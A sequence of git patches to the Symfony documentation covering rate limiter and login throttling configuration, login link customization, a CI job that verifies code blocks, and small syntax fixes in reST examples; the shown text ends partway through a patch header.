index d9526949b55..7143b5adeae 100644
--- a/setup/homestead.rst
+++ b/setup/homestead.rst
@@ -58,7 +58,9 @@ Homestead now supports a Symfony 2 and 3 web layout with ``app.php`` and
 using type ``symfony4``.
 
 At last, edit the hosts file on your local machine to map ``symfony-demo.test``
-to ``192.168.10.10`` (which is the IP used by Homestead)::
+to ``192.168.10.10`` (which is the IP used by Homestead):
+
+.. code-block:: text
 
     # /etc/hosts (unix) or C:\Windows\System32\drivers\etc\hosts (Windows)
     192.168.10.10 symfony-demo.test
diff --git a/templating/PHP.rst b/templating/PHP.rst
index cafd622dd8d..471979811f0 100644
--- a/templating/PHP.rst
+++ b/templating/PHP.rst
@@ -332,7 +332,9 @@ Profiling Templates
 ~~~~~~~~~~~~~~~~~~~
 
 By using the ``stopwatch`` helper, you are able to time parts of your template
-and display it on the timeline of the WebProfilerBundle::
+and display it on the timeline of the WebProfilerBundle:
+
+.. code-block:: html+php
 
     <?php $view['stopwatch']->start('foo') ?>
     ... things that get timed
@@ -347,13 +349,17 @@ Output Escaping
 ---------------
 
 When using PHP templates, escape variables whenever they are displayed to the
-user::
+user:
+
+.. code-block:: html+php
 
     <?= $view->escape($var) ?>
 
 By default, the ``escape()`` method assumes that the variable is outputted
 within an HTML context. The second argument lets you change the context. For
-instance, to output something in a JavaScript script, use the ``js`` context::
+instance, to output something in a JavaScript script, use the ``js`` context:
+
+.. code-block:: html+php
 
     <?= $view->escape($var, 'js') ?>
 
diff --git a/templating/hinclude.rst b/templating/hinclude.rst
index d832cdbdba2..96b52c0d147 100644
--- a/templating/hinclude.rst
+++ b/templating/hinclude.rst
@@ -94,7 +94,7 @@ Use the ``attributes`` option to define the value of hinclude.js options:
 
     {# by default, cross-site requests don't use credentials such as cookies, authorization
        headers or TLS client certificates; set this option to 'true' to use them #}
-    {{ render_hinclude(controller('...'), {attributes: {data-with-credentials: 'true'}}) }}
+    {{ render_hinclude(controller('...'), {attributes: {'data-with-credentials': 'true'}}) }}
 
     {# by default, the JavaScript code included in the loaded contents is not run;
        set this option to 'true' to run that JavaScript code #}
diff --git a/testing.rst b/testing.rst
index 095856fb426..75ed2946009 100644
--- a/testing.rst
+++ b/testing.rst
@@ -1069,7 +1069,7 @@ configuration adds tests from a custom ``lib/tests`` directory:
         <!-- ... -->
         <testsuites>
             <testsuite name="Project Test Suite">
-                <!-- ... --->
+                <!-- ... -->
                 <directory>lib/tests</directory>
             </testsuite>
         </testsuites>
diff --git a/translation.rst b/translation.rst
index db096351c7e..0f3f528771c 100644
--- a/translation.rst
+++ b/translation.rst
@@ -414,7 +414,9 @@ PHP Templates
 ~~~~~~~~~~~~~
 
 The translator service is accessible in PHP templates through the
-``translator`` helper::
+``translator`` helper:
+
+.. code-block:: html+php
 
     <?= $view['translator']->trans('Symfony is great') ?>
 

From 4933d453413a9c523abec68fd8a0df04c8f25d11 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Tue, 2 Mar 2021 15:04:43 +0100
Subject: [PATCH 2108/7107] [RateLimiter][Security] More precisely document
 advanced rate limiter configuration

---
 cache.rst        |   2 +
 lock.rst         |   2 +
 rate_limiter.rst | 243 ++++++++++++++++++++++++++++++++++++++++-------
 security.rst     | 144 ++++++++++++++++++++++++++--
 4 files changed, 347 insertions(+), 44 deletions(-)

diff --git a/cache.rst b/cache.rst
index a5e20950c03..ee32fcc2db2 100644
--- a/cache.rst
+++ b/cache.rst
@@ -183,6 +183,8 @@ will create pools with service IDs that follow the pattern ``cache.[type]``.
             ],
         ]);
 
+.. _cache-create-pools:
+
 Creating Custom (Namespaced) Pools
 ----------------------------------
 
diff --git a/lock.rst b/lock.rst
index 6a62c558fd7..db987f1d20e 100644
--- a/lock.rst
+++ b/lock.rst
@@ -228,6 +228,8 @@ processes asking for the same ``$version``::
         }
     }
 
+.. _lock-named-locks:
+
 Named Lock
 ----------
 
diff --git a/rate_limiter.rst b/rate_limiter.rst
index 99617f20d59..1f900547ea7 100644
--- a/rate_limiter.rst
+++ b/rate_limiter.rst
@@ -124,20 +124,74 @@ Configuration
 The following example creates two different rate limiters for an API service, to
 enforce different levels of service (free or paid):
 
-.. code-block:: yaml
-
-    # config/packages/rate_limiter.yaml
-    framework:
-        rate_limiter:
-            anonymous_api:
-                # use 'sliding_window' if you prefer that policy
-                policy: 'fixed_window'
-                limit: 100
-                interval: '60 minutes'
-            authenticated_api:
-                policy: 'token_bucket'
-                limit: 5000
-                rate: { interval: '15 minutes', amount: 500 }
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/rate_limiter.yaml
+        framework:
+            rate_limiter:
+                anonymous_api:
+                    # use 'sliding_window' if you prefer that policy
+                    policy: 'fixed_window'
+                    limit: 100
+                    interval: '60 minutes'
+                authenticated_api:
+                    policy: 'token_bucket'
+                    limit: 5000
+                    rate: { interval: '15 minutes', amount: 500 }
+
+    .. code-block:: xml
+
+        <!-- config/packages/rate_limiter.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony
+                https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <framework:config>
+                <framework:rate-limiter>
+                    <!-- policy: use 'sliding_window' if you prefer that policy -->
+                    <framework:limiter name="anonymous_api"
+                        policy="fixed_window"
+                        limit="100"
+                        interval="60 minutes"
+                    />
+
+                    <framework:limiter name="authenticated_api"
+                        policy="token_bucket"
+                        limit="5000"
+                    >
+                        <framework:rate interval="15 minutes"
+                            amount="500"
+                        />
+                    </framework:limiter>
+                </framework:rate-limiter>
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/rate_limiter.php
+        $container->loadFromExtension('framework', [
+            rate_limiter' => [
+                'anonymous_api' => [
+                    // use 'sliding_window' if you prefer that policy
+                    'policy' => 'fixed_window',
+                    'limit' => 100,
+                    'interval' => '60 minutes',
+                ],
+                'authenticated_api' => [
+                    'policy' => 'token_bucket',
+                    'limit' => 5000,
+                    'rate' => [ 'interval' =>  '15 minutes', 'amount' =>  500 ],
+                ],
+            ],
+        ]);
 
 .. note::
 
@@ -300,27 +354,146 @@ the :class:`Symfony\\Component\\RateLimiter\\Reservation` object returned by the
         }
     }
 
-Rate Limiter Storage and Locking
---------------------------------
-
-Rate limiters use the default cache and locking mechanisms defined in your
-Symfony application. If you prefer to change that, use the ``lock_factory`` and
-``storage_service`` options:
-
-.. code-block:: yaml
-
-    # config/packages/rate_limiter.yaml
-    framework:
-        rate_limiter:
-            anonymous_api_limiter:
-                # ...
-                # the value is the name of any cache pool defined in your application
-                cache_pool: 'app.redis_cache'
-                # or define a service implementing StorageInterface to use a different
-                # mechanism to store the limiter information
-                storage_service: 'App\RateLimiter\CustomRedisStorage'
-                # the value is the name of any lock defined in your application
-                lock_factory: 'app.rate_limiter_lock'
+Storing Rate Limiter State: Caching
+-----------------------------------
+
+All rate limiter policies require to store the state of the rate limiter
+(e.g. how many hits were already made in the current time window). This
+state is stored by default using the :doc:`Cache component </cache>`.
+
+The default cache pool used by all limiters is ``cache.rate_limiter``. You
+can modify this cache pool by :ref:`defining a "rate_limiter" pool <cache-create-pools>`.
+
+You can also override the pool for a specific limiter using the ``cache_pool``
+option:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/rate_limiter.yaml
+        framework:
+            rate_limiter:
+                anonymous_api:
+                    # ...
+
+                    # use the "cache.anonymous_rate_limiter" cache pool
+                    cache_pool: 'cache.anonymous_rate_limiter'
+
+    .. code-block:: xml
+
+        <!-- config/packages/rate_limiter.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony
+                https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <framework:config>
+                <framework:rate-limiter>
+                    <!-- cache-pool: use the "cache.anonymous_rate_limiter" cache pool -->
+                    <framework:limiter name="anonymous_api"
+                        policy="fixed_window"
+                        limit="100"
+                        interval="60 minutes"
+                        cache-pool="cache.anonymous_rate_limiter"
+                    />
+
+                    <!-- ... ->
+                </framework:rate-limiter>
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/rate_limiter.php
+        $container->loadFromExtension('framework', [
+            rate_limiter' => [
+                'anonymous_api' => [
+                    // ...
+
+                    // use the "cache.anonymous_rate_limiter" cache pool
+                    'cache_pool' => 'cache.anonymous_rate_limiter',
+                ],
+            ],
+        ]);
+
+.. note::
+
+    Instead of using the Cache component, you can also implement a custom
+    storage. Create a PHP class that implements the
+    :class:`Symfony\\Component\\RateLimiter\\Storage\\StorageInterface` and
+    set the ``storage_service`` setting of each limiter to the service ID
+    of this class.
+
+Using Locks to Prevent Race Conditions
+--------------------------------------
+
+Rate limiting can be affected by race conditions, if the same limiter is
+applied to simultaneous requests (e.g. 3 servers of the same client call
+the same API). To prevent these race conditions, the rate limiting
+operations are protected using :doc:`locks </lock>`.
+
+By default, the global lock (configured by ``framework.lock``) is used. You
+can use a specific :ref:`named lock <lock-named-locks>` via the
+``lock_factory`` option:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/rate_limiter.yaml
+        framework:
+            rate_limiter:
+                anonymous_api:
+                    # ...
+
+                    # use the "lock.rate_limiter.factory" for this limiter
+                    lock_factory: 'lock.rate_limiter.factory'
+
+    .. code-block:: xml
+
+        <!-- config/packages/rate_limiter.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony
+                https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <framework:config>
+                <framework:rate-limiter>
+                    <!-- limiter-factory: use the "lock.rate_limiter.factory" for this limiter -->
+                    <framework:limiter name="anonymous_api"
+                        policy="fixed_window"
+                        limit="100"
+                        interval="60 minutes"
+                        lock-factory="lock.rate_limiter.factory"
+                    />
+
+                    <!-- ... -->
+                </framework:rate-limiter>
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/rate_limiter.php
+        $container->loadFromExtension('framework', [
+            rate_limiter' => [
+                'anonymous_api' => [
+                    // ...
+
+                    // use the "lock.rate_limiter.factory" for this limiter
+                    'lock_factory' => 'lock.rate_limiter.factory',
+                ],
+            ],
+        ]);
 
 .. _`DoS attacks`: https://cheatsheetseries.owasp.org/cheatsheets/Denial_of_Service_Cheat_Sheet.html
 .. _`Apache mod_ratelimit`: https://httpd.apache.org/docs/current/mod/mod_ratelimit.html
diff --git a/security.rst b/security.rst
index 3b9341a07d6..ea7896e8040 100644
--- a/security.rst
+++ b/security.rst
@@ -550,11 +550,6 @@ You must enable this using the ``login_throttling`` setting:
                     'login_throttling' => [
                         'max_attempts' => 3,
                     ],
-
-                    // use a custom rate limiter via its service ID
-                    'login_throttling' => [
-                        'limiter' => 'app.my_login_rate_limiter',
-                    ],
                 ],
             ],
         ]);
@@ -565,10 +560,6 @@ failed requests for ``IP address``. The second limit protects against an
 attacker using multiple usernames from bypassing the first limit, without
 distrupting normal users on big networks (such as offices).
 
-If you need a more complex limiting algorithm, create a class that implements
-:class:`Symfony\\Component\\HttpFoundation\\RateLimiter\\RequestRateLimiterInterface`
-and set the ``limiter`` option to its service ID.
-
 .. tip::
 
     Limiting the failed login attempts is only one basic protection against
@@ -576,6 +567,141 @@ and set the ``limiter`` option to its service ID.
     several other protections that you should consider depending on the
     level of protection required.
 
+If you need a more complex limiting algorithm, create a class that implements
+:class:`Symfony\\Component\\HttpFoundation\\RateLimiter\\RequestRateLimiterInterface`
+(or use
+:class:`Symfony\\Component\\Security\\Http\\RateLimiter\\DefaultLoginRateLimiter`)
+and set the ``limiter`` option to its service ID:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/security.yaml
+        framework:
+            rate_limiter:
+                # define 2 rate limiters (one for username+IP, the other for IP)
+                username_ip_login:
+                    policy: token_bucket
+                    limit: 5
+                    rate: { interval: '5 minutes' }
+
+                ip_login:
+                    policy: sliding_window
+                    limit: 50
+                    interval: '15 minutes'
+
+        services:
+            # our custom login rate limiter
+            app.login_rate_limiter:
+                class: Symfony\Component\Security\Http\RateLimiter\DefaultLoginRateLimiter
+                arguments:
+                    # globalFactory is the limiter for IP
+                    $globalFactory: '@limiter.ip_login'
+                    # localFactory is the limiter for username+IP
+                    $localFactory: '@limiter.username_ip_login'
+
+        security:
+            firewalls:
+                main:
+                    # use a custom rate limiter via its service ID
+                    login_throttling:
+                        limiter: app.login_rate_limiter
+
+    .. code-block:: xml
+
+        <!-- config/packages/security.xml -->
+        <?xml version="1.0" encoding="UTF-8"?>
+        <srv:container xmlns="http://symfony.com/schema/dic/security"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xmlns:srv="http://symfony.com/schema/dic/services"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony
+                https://symfony.com/schema/dic/symfony/symfony-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd">
+
+            <framework:config>
+                <framework:rate-limiter>
+                    <!-- define 2 rate limiters (one for username+IP, the other for IP) -->
+                    <framework:limiter name="username_ip_login"
+                        policy="token_bucket"
+                        limit="5"
+                    >
+                        <framework:rate interval="5 minutes"/>
+                    </framework:limiter>
+
+                    <framework:limiter name="ip_login"
+                        policy="sliding_window"
+                        limit="50"
+                        interval="15 minutes"
+                    />
+                </framework:rate-limiter>
+            </framework:config>
+
+            <srv:services>
+                <!-- our custom login rate limiter -->
+                <srv:service id="app.login_rate_limiter"
+                    class="Symfony\Component\Security\Http\RateLimiter\DefaultLoginRateLimiter"
+                >
+                    <!-- 1st argument is the limiter for IP -->
+                    <srv:argument type="service" id="limiter.ip_login"/>
+                    <1-- 2nd argument is the limiter for username+IP -->
+                    <srv:argument type="service" id="limiter.username_ip_login"/>
+                </srv:service>
+            </srv:services>
+
+            <config>
+                <firewall name="main">
+                    <!-- use a custom rate limiter via its service ID -->
+                    <login-throttling limiter="app.login_rate_limiter"/>
+                </firewall>
+            </config>
+        </srv:container>
+
+    .. code-block:: php
+
+        // config/packages/security.php
+        use Symfony\Component\DependencyInjection\Reference;
+        use Symfony\Component\Security\Http\RateLimiter\DefaultLoginRateLimiter;
+
+        $container->loadFromExtension('framework', [
+            'rate_limiter' => [
+                // define 2 rate limiters (one for username+IP, the other for IP)
+                'username_ip_login' => [
+                    'policy' => 'token_bucket',
+                    'limit' => 5,
+                    'rate' => [ 'interval' => '5 minutes' ],
+                ],
+                'ip_login' => [
+                    'policy' => 'sliding_window',
+                    'limit' => 50,
+                    'interval' => '15 minutes',
+                ],
+            ],
+        ]);
+
+        $container->register('app.login_rate_limiter', DefaultLoginRateLimiter::class)
+            ->setArguments([
+                // 1st argument is the limiter for IP
+                new Reference('limiter.ip_login'),
+                // 2nd argument is the limiter for username+IP
+                new Reference('limiter.username_ip_login'),
+            ]);
+
+        $container->loadFromExtension('security', [
+            'firewalls' => [
+                'main' => [
+                    // use a custom rate limiter via its service ID
+                    'login_throttling' =>
+                        'limiter' => 'app.login_rate_limiter',
+                    ],
+                ],
+            ],
+        ]);
+
 .. _`security-authorization`:
 .. _denying-access-roles-and-other-authorization:
 

From 5a67b62fbc7d2f592f0200371e1a20f8b9eab104 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 21 Apr 2021 10:07:05 +0200
Subject: [PATCH 2109/7107] Minor rewords

---
 rate_limiter.rst | 32 +++++++++++++++-----------------
 1 file changed, 15 insertions(+), 17 deletions(-)

diff --git a/rate_limiter.rst b/rate_limiter.rst
index 67bf6b00070..c95b96161a4 100644
--- a/rate_limiter.rst
+++ b/rate_limiter.rst
@@ -356,18 +356,15 @@ the :class:`Symfony\\Component\\RateLimiter\\Reservation` object returned by the
         }
     }
 
-Storing Rate Limiter State: Caching
------------------------------------
+Storing Rate Limiter State
+--------------------------
 
-All rate limiter policies require to store the state of the rate limiter
-(e.g. how many hits were already made in the current time window). This
-state is stored by default using the :doc:`Cache component </cache>`.
+All rate limiter policies require to store their state(e.g. how many hits were
+already made in the current time window). By default, all limiters use the
+``cache.rate_limiter`` cache pool created with the :doc:`Cache component </cache>`.
 
-The default cache pool used by all limiters is ``cache.rate_limiter``. You
-can modify this cache pool by :ref:`defining a "rate_limiter" pool <cache-create-pools>`.
-
-You can also override the pool for a specific limiter using the ``cache_pool``
-option:
+Use the ``cache_pool`` option to override the cache used by a specific limiter
+(or even :ref:`create a new cache pool <cache-create-pools>` for it):
 
 .. configuration-block::
 
@@ -428,19 +425,19 @@ option:
     Instead of using the Cache component, you can also implement a custom
     storage. Create a PHP class that implements the
     :class:`Symfony\\Component\\RateLimiter\\Storage\\StorageInterface` and
-    set the ``storage_service`` setting of each limiter to the service ID
+    use the ``storage_service`` setting of each limiter to the service ID
     of this class.
 
 Using Locks to Prevent Race Conditions
 --------------------------------------
 
-Rate limiting can be affected by race conditions, if the same limiter is
-applied to simultaneous requests (e.g. 3 servers of the same client call
-the same API). To prevent these race conditions, the rate limiting
-operations are protected using :doc:`locks </lock>`.
+`Race conditions`_ can happen when the same rate limiter is used by multiple
+simultaneous requests (e.g. three servers of a company hitting your API at the
+same time). Rate limiters use :doc:`locks </lock>` to protect their operations
+against these race conditions.
 
-By default, the global lock (configured by ``framework.lock``) is used. You
-can use a specific :ref:`named lock <lock-named-locks>` via the
+By default, Symfony uses the global lock configured by ``framework.lock``), but
+you can use a specific :ref:`named lock <lock-named-locks>` via the
 ``lock_factory`` option:
 
 .. configuration-block::
@@ -502,3 +499,4 @@ can use a specific :ref:`named lock <lock-named-locks>` via the
 .. _`NGINX rate limiting`: https://www.nginx.com/blog/rate-limiting-nginx/
 .. _`token bucket algorithm`: https://en.wikipedia.org/wiki/Token_bucket
 .. _`PHP date relative formats`: https://www.php.net/datetime.formats.relative
+.. _`Race conditions`: https://en.wikipedia.org/wiki/Race_condition

From 830b1f366d979e06bb6572a6c02540239b355060 Mon Sep 17 00:00:00 2001
From: roromix <16560617+roromix@users.noreply.github.com>
Date: Sun, 28 Mar 2021 13:28:32 +0200
Subject: [PATCH 2110/7107] [Security] Customize generated Login Link

---
 security/login_link.rst | 48 +++++++++++++++++++++++++++++++++++++++++
 1 file changed, 48 insertions(+)

diff --git a/security/login_link.rst b/security/login_link.rst
index 4e1bfa2d3da..b4dc13444f0 100644
--- a/security/login_link.rst
+++ b/security/login_link.rst
@@ -739,3 +739,51 @@ Then, configure this service ID as the ``success_handler``:
                 ],
             ],
         ]);
+
+Customize generated Login Link
+------------------------------
+
+.. versionadded:: 5.3
+
+    The possibility to customize the login link was introduced in Symfony 5.3.
+
+In some use cases it may be useful to customize the Login Link. In addition
+to the ``UserInterface``, it is therefore possible to pass a ``Request`` to the ``createLoginLink``
+method. In this example, our route is localized with the user locale which may
+be different from the current locale::
+
+    // src/Controller/SecurityController.php
+    namespace App\Controller;
+
+    // ...
+    use Symfony\Component\HttpFoundation\Request;
+    use Symfony\Component\Security\Http\LoginLink\LoginLinkHandlerInterface;
+
+    class SecurityController extends AbstractController
+    {
+        /**
+         * @Route("/login", name="login")
+         */
+        public function requestLoginLink(LoginLinkHandlerInterface $loginLinkHandler, Request $request)
+        {
+            // check if login form is submitted
+            if ($request->isMethod('POST')) {
+                // ... load the user in some way
+
+                // clone and customize Request
+                $userRequest = clone $request;
+                $userRequest->setLocale($user->getLocale() ?? $request->getDefaultLocale());
+
+                // create a login link for $user this returns an instance
+                // of LoginLinkDetails
+                $loginLinkDetails = $loginLinkHandler->createLoginLink($user, $userRequest);
+                $loginLink = $loginLinkDetails->getUrl();
+
+                // ...
+            }
+
+            return $this->render('security/login.html.twig');
+        }
+
+        // ...
+    }

From fd2958d5d1ae4ed7a6ab3f82058f5d86155d99d8 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 21 Apr 2021 10:45:50 +0200
Subject: [PATCH 2111/7107] Tweaks

---
 security/login_link.rst | 14 ++++++--------
 1 file changed, 6 insertions(+), 8 deletions(-)

diff --git a/security/login_link.rst b/security/login_link.rst
index b4dc13444f0..fb35b5885bd 100644
--- a/security/login_link.rst
+++ b/security/login_link.rst
@@ -740,17 +740,16 @@ Then, configure this service ID as the ``success_handler``:
             ],
         ]);
 
-Customize generated Login Link
-------------------------------
+Customizing the Login Link
+--------------------------
 
 .. versionadded:: 5.3
 
     The possibility to customize the login link was introduced in Symfony 5.3.
 
-In some use cases it may be useful to customize the Login Link. In addition
-to the ``UserInterface``, it is therefore possible to pass a ``Request`` to the ``createLoginLink``
-method. In this example, our route is localized with the user locale which may
-be different from the current locale::
+The ``createLoginLink()`` method accepts a second optional argument to pass the
+``Request`` object used when generating the login link. This allows to customize
+features such as the locale used to generate the link::
 
     // src/Controller/SecurityController.php
     namespace App\Controller;
@@ -774,8 +773,7 @@ be different from the current locale::
                 $userRequest = clone $request;
                 $userRequest->setLocale($user->getLocale() ?? $request->getDefaultLocale());
 
-                // create a login link for $user this returns an instance
-                // of LoginLinkDetails
+                // create a login link for $user (this returns an instance of LoginLinkDetails)
                 $loginLinkDetails = $loginLinkHandler->createLoginLink($user, $userRequest);
                 $loginLink = $loginLinkDetails->getUrl();
 

From 2382264aef232f28068efe4416575c7035eb831b Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 21 Apr 2021 11:04:03 +0200
Subject: [PATCH 2112/7107] Reword

---
 security/login_link.rst | 6 +++++-
 1 file changed, 5 insertions(+), 1 deletion(-)

diff --git a/security/login_link.rst b/security/login_link.rst
index e1205e53a31..bc23d8c5817 100644
--- a/security/login_link.rst
+++ b/security/login_link.rst
@@ -740,4 +740,8 @@ Then, configure this service ID as the ``success_handler``:
             ],
         ]);
         
-If you want to manage the failure for example the link is expires, use 'failure_handler' and implements "AuthenticationFailureHandlerInterface" instand of "AuthenticationSuccessHandlerInterface"
+.. tip::
+
+    If you want to customize the default failure handling, use the
+    ``failure_handler`` option and create a class that implements
+    :class:`Symfony\\Component\\Security\\Http\\Authentication\\AuthenticationFailureHandlerInterface`.

From c92641d9edae5227ec518da6ca7dcbdba00bdca6 Mon Sep 17 00:00:00 2001
From: Nyholm <tobias.nyholm@gmail.com>
Date: Sun, 18 Apr 2021 18:09:56 +0200
Subject: [PATCH 2113/7107] Verify code blocks

---
 .github/workflows/ci.yaml | 60 +++++++++++++++++++++++++++++++++++++++
 1 file changed, 60 insertions(+)

diff --git a/.github/workflows/ci.yaml b/.github/workflows/ci.yaml
index cfa60fe96f9..08dc6b970ea 100644
--- a/.github/workflows/ci.yaml
+++ b/.github/workflows/ci.yaml
@@ -103,3 +103,63 @@ jobs:
                 uses: docker://oskarstark/doctor-rst
                 with:
                     args: --short --error-format=github --cache-file=/github/workspace/.cache/doctor-rst.cache
+
+    symfony-code-block-checker:
+        name: Code Blocks
+        runs-on: Ubuntu-20.04
+        continue-on-error: true
+        steps:
+          - name: Checkout code
+            uses: actions/checkout@v2
+
+          - name: Set-up PHP
+            uses: shivammathur/setup-php@v2
+            with:
+                php-version: 8.0
+                coverage: none
+
+          - name: Fetch branch from where the PR started
+            run: git fetch --no-tags --prune --depth=1 origin +refs/heads/*:refs/remotes/origin/*
+
+          - name: Find modified files
+            id: find-files
+            run: echo "::set-output name=files::$(git diff --name-only origin/${{ github.base_ref }} HEAD | grep ".rst" | tr '\n' ' ')"
+
+          - name: Get composer cache directory
+            id: composercache
+            run: echo "::set-output name=dir::$(composer config cache-files-dir)"
+
+          - name: Cache dependencies
+            uses: actions/cache@v2
+            with:
+                path: ${{ steps.composercache.outputs.dir }}
+                key: ${{ runner.os }}-composer-${{ hashFiles('**/composer.lock') }}
+                restore-keys: ${{ runner.os }}-composer-
+
+          - name: Install dependencies
+            if: ${{ steps.find-files.outputs.files }}
+            run: |
+              git clone --depth 15 https://github.com/symfony-docs-tools/code-block-checker.git ../_checker
+              cd ../_checker
+              composer install
+
+          - name: Install test application
+            if: ${{ steps.find-files.outputs.files }}
+            run: |
+              git clone -b ${{ github.base_ref }} --depth 5 --single-branch https://github.com/symfony-docs-tools/symfony-application.git ../_sf_app
+              cd ../_sf_app
+              composer update
+
+          - name: Generate baseline
+            if: ${{ steps.find-files.outputs.files }}
+            run: |
+              CURRENT=$(git rev-parse HEAD)
+              git checkout -m ${{ github.base_ref }}
+              ../_checker/code-block-checker.php verify:docs `pwd` ${{ steps.find-files.outputs.files }} --generate-baseline=baseline.json --symfony-application=`realpath ../_sf_app`
+              git checkout -m $CURRENT
+              cat baseline.json
+
+          - name: Verify examples
+            if: ${{ steps.find-files.outputs.files }}
+            run: |
+              ../_checker/code-block-checker.php verify:docs `pwd` ${{ steps.find-files.outputs.files }} --baseline=baseline.json --output-format=github --symfony-application=`realpath ../_sf_app`

From aa7e3dde80f058c31d0abef0957582e5ea06e35f Mon Sep 17 00:00:00 2001
From: Nyholm <tobias.nyholm@gmail.com>
Date: Wed, 21 Apr 2021 11:43:34 +0200
Subject: [PATCH 2114/7107] Fixed syntax errors on 5.x

---
 doctrine/events.rst | 4 +---
 rate_limiter.rst    | 8 ++++----
 security.rst        | 2 +-
 3 files changed, 6 insertions(+), 8 deletions(-)

diff --git a/doctrine/events.rst b/doctrine/events.rst
index d130ce210e3..abe574a1867 100644
--- a/doctrine/events.rst
+++ b/doctrine/events.rst
@@ -454,8 +454,6 @@ with the ``doctrine.event_subscriber`` tag:
                 <service id="App\EventListener\DatabaseActivitySubscriber">
                     <tag name="doctrine.event_subscriber" priority="500" connection="default"/>
                 </service>
-
-                </service>
             </services>
         </container>
 
@@ -475,7 +473,7 @@ with the ``doctrine.event_subscriber`` tag:
                     // to the same event (default priority = 0; higher numbers = listener is run earlier)
                     'priority' => 500,
 
-                    # you can also restrict listeners to a specific Doctrine connection
+                    // you can also restrict listeners to a specific Doctrine connection
                     'connection' => 'default',
                 ])
             ;
diff --git a/rate_limiter.rst b/rate_limiter.rst
index c95b96161a4..2ab832d7031 100644
--- a/rate_limiter.rst
+++ b/rate_limiter.rst
@@ -178,7 +178,7 @@ enforce different levels of service (free or paid):
 
         // config/packages/rate_limiter.php
         $container->loadFromExtension('framework', [
-            rate_limiter' => [
+            'rate_limiter' => [
                 'anonymous_api' => [
                     // use 'sliding_window' if you prefer that policy
                     'policy' => 'fixed_window',
@@ -401,7 +401,7 @@ Use the ``cache_pool`` option to override the cache used by a specific limiter
                         cache-pool="cache.anonymous_rate_limiter"
                     />
 
-                    <!-- ... ->
+                    <!-- ... -->
                 </framework:rate-limiter>
             </framework:config>
         </container>
@@ -410,7 +410,7 @@ Use the ``cache_pool`` option to override the cache used by a specific limiter
 
         // config/packages/rate_limiter.php
         $container->loadFromExtension('framework', [
-            rate_limiter' => [
+            'rate_limiter' => [
                 'anonymous_api' => [
                     // ...
 
@@ -484,7 +484,7 @@ you can use a specific :ref:`named lock <lock-named-locks>` via the
 
         // config/packages/rate_limiter.php
         $container->loadFromExtension('framework', [
-            rate_limiter' => [
+            'rate_limiter' => [
                 'anonymous_api' => [
                     // ...
 
diff --git a/security.rst b/security.rst
index 1bf3cf2408e..e2a355a0217 100644
--- a/security.rst
+++ b/security.rst
@@ -712,7 +712,7 @@ and set the ``limiter`` option to its service ID:
             'firewalls' => [
                 'main' => [
                     // use a custom rate limiter via its service ID
-                    'login_throttling' =>
+                    'login_throttling' => [
                         'limiter' => 'app.login_rate_limiter',
                     ],
                 ],

From 6a5957c8dc3b2ceeffeee88f5d9c1d3534f5d6be Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 21 Apr 2021 11:54:42 +0200
Subject: [PATCH 2115/7107] Fixed a XML code example

---
 security.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security.rst b/security.rst
index d98506c8ee2..70928a65fd5 100644
--- a/security.rst
+++ b/security.rst
@@ -648,7 +648,7 @@ and set the ``limiter`` option to its service ID:
                 >
                     <!-- 1st argument is the limiter for IP -->
                     <srv:argument type="service" id="limiter.ip_login"/>
-                    <1-- 2nd argument is the limiter for username+IP -->
+                    <!-- 2nd argument is the limiter for username+IP -->
                     <srv:argument type="service" id="limiter.username_ip_login"/>
                 </srv:service>
             </srv:services>

From 9d1216e6ced5031867aed987428b78bcfc0a95cf Mon Sep 17 00:00:00 2001
From: Nyholm <tobias.nyholm@gmail.com>
Date: Wed, 21 Apr 2021 10:16:25 +0200
Subject: [PATCH 2116/7107] Fixed syntax error in 5.2

---
 mailer.rst                               | 2 +-
 reference/dic_tags.rst                   | 4 ++--
 security.rst                             | 1 -
 security/access_control.rst              | 2 +-
 security/experimental_authenticators.rst | 1 +
 session/database.rst                     | 8 ++++----
